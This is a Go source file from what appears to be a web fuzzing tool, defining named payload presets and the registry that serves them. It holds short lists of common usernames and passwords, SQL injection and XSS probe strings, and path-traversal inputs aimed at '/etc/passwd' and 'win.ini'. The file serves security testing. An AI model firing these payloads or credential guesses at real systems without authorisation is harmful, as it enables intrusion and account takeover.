burterm/internal/payload/presets.go
2026-09-14 10:55:07 +03:00

114 lines
4.4 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package payload
import (
"fmt"
"strings"
)
// Preset — фабрика встроенного генератора по короткому имени, чтобы
// в CLI/TUI можно было писать "preset:numbers-small" вместо ручного
// wordlist-файла — но не вместо него: preset — это ещё один вариант
// spec наравне с wordlist:/range:, а не замена. Свои словари как
// работали через wordlist:<путь>, так и продолжают работать.
type Preset struct {
Name string
Description string
New func() Generator
}
var presets = []Preset{
{"numbers-small", "Числа 0-100", func() Generator {
return NewNumericRangeGenerator(0, 100, 1)
}},
{"numbers-large", "Числа 0-9999", func() Generator {
return NewNumericRangeGenerator(0, 9999, 1)
}},
{"alpha-lower", "Строчные буквы a-z, длина 1-2", func() Generator {
return NewBruteForceGenerator("abcdefghijklmnopqrstuvwxyz", 1, 2)
}},
{"alpha-upper", "Заглавные буквы A-Z, длина 1-2", func() Generator {
return NewBruteForceGenerator("ABCDEFGHIJKLMNOPQRSTUVWXYZ", 1, 2)
}},
{"alpha-mixed", "Буквы обоих регистров, длина 1-2", func() Generator {
return NewBruteForceGenerator("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 1, 2)
}},
{"alnum", "Буквы + цифры, длина 1-2", func() Generator {
return NewBruteForceGenerator("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", 1, 2)
}},
{"common-usernames", "Частые имена пользователей", func() Generator {
return NewWordlistGenerator(commonUsernames)
}},
{"common-passwords", "Частые пароли", func() Generator {
return NewWordlistGenerator(commonPasswords)
}},
{"sqli-probes", "Базовые SQLi-пробники", func() Generator {
return NewWordlistGenerator(sqliProbes)
}},
{"xss-probes", "Базовые XSS-пробники", func() Generator {
return NewWordlistGenerator(xssProbes)
}},
{"path-traversal", "Path traversal пробники", func() Generator {
return NewWordlistGenerator(pathTraversalProbes)
}},
}
// PresetNames возвращает имена всех встроенных заготовок в порядке
// объявления — используется и для валидации, и для циклического обзора
// в TUI (ctrl+l).
func PresetNames() []string {
names := make([]string, len(presets))
for i, p := range presets {
names[i] = p.Name
}
return names
}
// PresetDescription возвращает человекочитаемое описание заготовки,
// пустую строку — если имя неизвестно.
func PresetDescription(name string) string {
for _, p := range presets {
if p.Name == name {
return p.Description
}
}
return ""
}
// NewFromPreset создаёт генератор по имени встроенной заготовки.
func NewFromPreset(name string) (Generator, error) {
for _, p := range presets {
if p.Name == name {
return p.New(), nil
}
}
return nil, fmt.Errorf("неизвестная заготовка %q (доступные: %s)", name, strings.Join(PresetNames(), ", "))
}
// Встроенные списки — короткие, ознакомительные. Для серьёзного перебора
// (rockyou и подобные) по-прежнему используется свой словарь через
// wordlist:<путь> — заготовки не пытаются его заменить.
var commonUsernames = []string{
"admin", "administrator", "root", "user", "test",
"guest", "demo", "support", "info", "webmaster",
}
var commonPasswords = []string{
"password", "123456", "admin", "letmein", "qwerty",
"password1", "12345678", "admin123", "root", "changeme",
}
var sqliProbes = []string{
`'`, `"`, `' OR '1'='1`, `' OR '1'='1' --`, `" OR "1"="1`,
`1' AND '1'='1`, `' UNION SELECT NULL--`, `1 OR 1=1`, `admin'--`,
}
var xssProbes = []string{
`<script>alert(1)</script>`, `"><script>alert(1)</script>`,
`'><img src=x onerror=alert(1)>`, `<img src=x onerror=alert(1)>`,
`javascript:alert(1)`, `"><svg onload=alert(1)>`,
}
var pathTraversalProbes = []string{
`../`, `../../`, `../../../etc/passwd`,
`..\..\..\windows\win.ini`, `%2e%2e%2f`, `....//....//etc/passwd`,
}